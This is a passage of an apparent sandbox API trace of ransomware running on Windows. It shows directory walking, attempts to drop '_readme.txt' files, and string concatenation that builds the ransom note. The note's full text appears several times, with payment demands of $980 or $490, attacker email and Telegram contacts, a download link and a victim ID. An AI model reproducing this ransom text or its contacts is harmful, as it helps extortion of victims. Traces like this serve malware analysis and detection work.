tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.631] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.631] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.631] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.632] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.632] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.632] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.632] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.633] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] 